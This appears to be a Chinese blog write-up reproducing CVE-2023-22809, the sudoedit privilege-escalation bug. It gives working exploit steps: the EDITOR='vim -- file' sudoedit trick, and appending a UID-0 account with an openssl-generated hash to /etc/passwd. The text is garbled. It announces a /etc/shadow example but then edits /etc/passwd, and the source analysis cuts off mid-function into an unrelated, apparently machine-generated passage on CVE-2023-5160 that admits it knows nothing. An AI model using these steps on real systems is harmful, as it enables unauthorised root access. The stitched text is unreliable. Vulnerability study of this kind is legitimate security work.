【漏洞复现】CVE-2023-22809 sudo提权漏洞

本文详细介绍了CVE-2023-22809 sudo编辑器漏洞,这是一个高危漏洞,允许本地攻击者通过sudoedit权限实现提权。漏洞影响sudo 1.8.0到1.9.12p1版本。文章涵盖环境搭建、漏洞检测、分析和提权方法,还提供了补丁信息。攻击者可以通过设置环境变量EDITOR为'vim -- file'来触发漏洞,编辑如/etc/passwd等敏感文件,从而达到提权目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、前言

  • 漏洞简介:Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。
  • 漏洞编号:CVE-2023-22809
  • 漏洞等级:高危
  • 漏洞评分:7.8分
  • 影响版本:sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)
  • 攻击效果:本地提权

二、环境搭建

使用sudo --version查看当前系统下sudo版本

若在1.8.0-1.9.12p1范围内,则可以直接用本机环境复现,但是为了便于调试(获取符号信息)我们需要编译一份debug版本的sudo

首先到https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz下载固定版本的sudo,然后下载好后在压缩包对应目录下执行下列命令:

1

2

3

4

wget https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz

tar -zxvf ./sudo-1.9.12p1.tar.gz

cd sudo-1.9.12p1/

./configure && make && make install

编译成功后,我们调试的sudo程序就是有符号信息的了,编译后的sudo 位于/usr/local/bin文件夹内

调试过程可能会遇到sudo报错的问题,这个报错是由于gdb没有sudo模式下运行

然而如果直接sudo gdb,则又不会加载pwndbg插件

sudo命令不会加载个人配置文件(或者说继承当前的环境变量)而直接运行gdb,使用-E选项将当前环境变量传递给sudo命令就能成功加载pwndbg插件

1

2

sudo -E gdb /usr/local/bin/sudo

sudo -E gdb --args /usr/local/bin/sudo ...

三、漏洞检测

搭建好环境后,测试一下漏洞

首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)

1

user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test

这一步是为了满足攻击条件,具体原因会在下面分析提到

然后在命令行中输入

1

EDITOR='vim -- /path/to/file' sudoedit /etc/test

/path/to/file可以是任意文件,常见的提权有:修改/etc/shadow为空密码(但我本地未能成功,不清楚为啥)、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作,具体不再赘述

以修改/etc/shadow为例

先用openssl生成密码

1

2

x@x-virtual-machine:~$ openssl passwd -1 -salt xxx 123

$1$xxx$jTt7t9bGmhywOtQCjcQA.1

然后修改/etc/passwd,添加

1

xxx:$1$xxx$jTt7t9bGmhywOtQCjcQA.1:0:0:root:/root:/bin/bash

最后su xxx 然后输入密码123就可以提权了

完成提权

四、漏洞分析

先来看漏洞怎么走到触发位置的,首先关注main函数,sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode

1

2

3

4

5

6

7

8

9

10

11

12

13

int

main(int argc, char *argv[], char *envp[])

{

    int nargc, status = 0;

    char **nargv, **env_add;

    char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;

    const char * const allowed_prognames[] = "sudo""sudoedit", NULL };

    ......

    submit_argv = argv;

    submit_envp = envp;

    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,

        &sudo_settings, &env_add);

}

sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

int

parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,

    struct sudo_settings **settingsp, char ***env_addp)

{

    const char *progname, *short_opts = sudo_short_opts;

    struct option *long_opts = sudo_long_opts;

    struct environment extra_env;

    int mode = 0;                /* what mode is sudo to be run in*/

    int flags = 0;                /* mode flags */

    int valid_flags = DEFAULT_VALID_FLAGS;

    int ch, i;

    char *cp;

对于CVE-2023-5160漏洞复现,当前供的参考资料并未直接涉及此特定漏洞的信息。然而,在处理类似的高危安全问题时,通常遵循一系列标准流程来确保操作的安全性和合法性。 ### 关于CVE-2023-5160 #### 安全声明 在任何情况下,尝试复现或利用漏洞之前应当获得合法授,并且只针对测试环境中的系统进行实验[^4]。 #### 准备工作 为了准备复现过程,建议先了解目标系统的架构和技术栈。这有助于识别可能存在的弱点以及制定有效的测试策略。例如,如果涉及到Web应用程序,则需熟悉其使用的编程语言、框架和服务版本等信息。 #### 环境配置 建立一个隔离的实验室环境用于重现漏洞是非常重要的一步。这个环境中应部署与实际生产环境尽可能相似的服务和组件,以便更真实地模拟潜在攻击场景。具体到本案例中,虽然没有关于CVE-2023-5160的具体指导,但从其他类似案例来看,一般会包括但不限于: - 设置虚拟机或者容器作为受控测试平台; - 配置必要的依赖项如数据库、中间件等; - 应用程序及其关联服务应该处于已知状态,最好是从干净镜像开始构建; #### 漏洞检测 一旦环境准备好之后,就可以着手寻找具体的漏洞触发条件了。尽管目前缺乏有关CVE-2023-5160的确切细节,但基于以往的经验,可以通过以下几种方式进行探索: - **自动化工具扫描**:运行静态分析器或其他类型的漏洞扫描软件,这些工具有助于快速定位常见的安全隐患。 - **手动审查源码/协议交互**:仔细检查应用逻辑特别是输入验证部分,因为很多严重的RCE(远程代码执行)类别的漏洞往往源于不当的数据处理机制。 - **参考公开报告**:查阅官方公告或者其他研究者的成果分享,从中获取灵感启发自己的思路方向。 #### 实验验证 当怀疑某个地方可能是突破口的时候,就需要设计针对性强的小型实验来进行证实。比如构造特殊的HTTP请求参数试图绕过认证环节,或是上传恶意脚本来观察后台响应行为等等。值得注意的是,所有的动作都必须谨慎行事以免破坏整个实验体系结构稳定。 #### 结果评估 最后要对所得到的结果进行全面总结归纳,判断是否真正发现了预期之外的行为模式即所谓的“零日”特性。同时也要考虑防御措施的有效性评价,思考怎样才能更好地保护现有资产免遭此类威胁侵害。 ```bash # 这里供了一个简单的示例命令,用来展示如何在一个假设性的Linux环境下更新包列表 sudo apt update && sudo apt upgrade -y ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值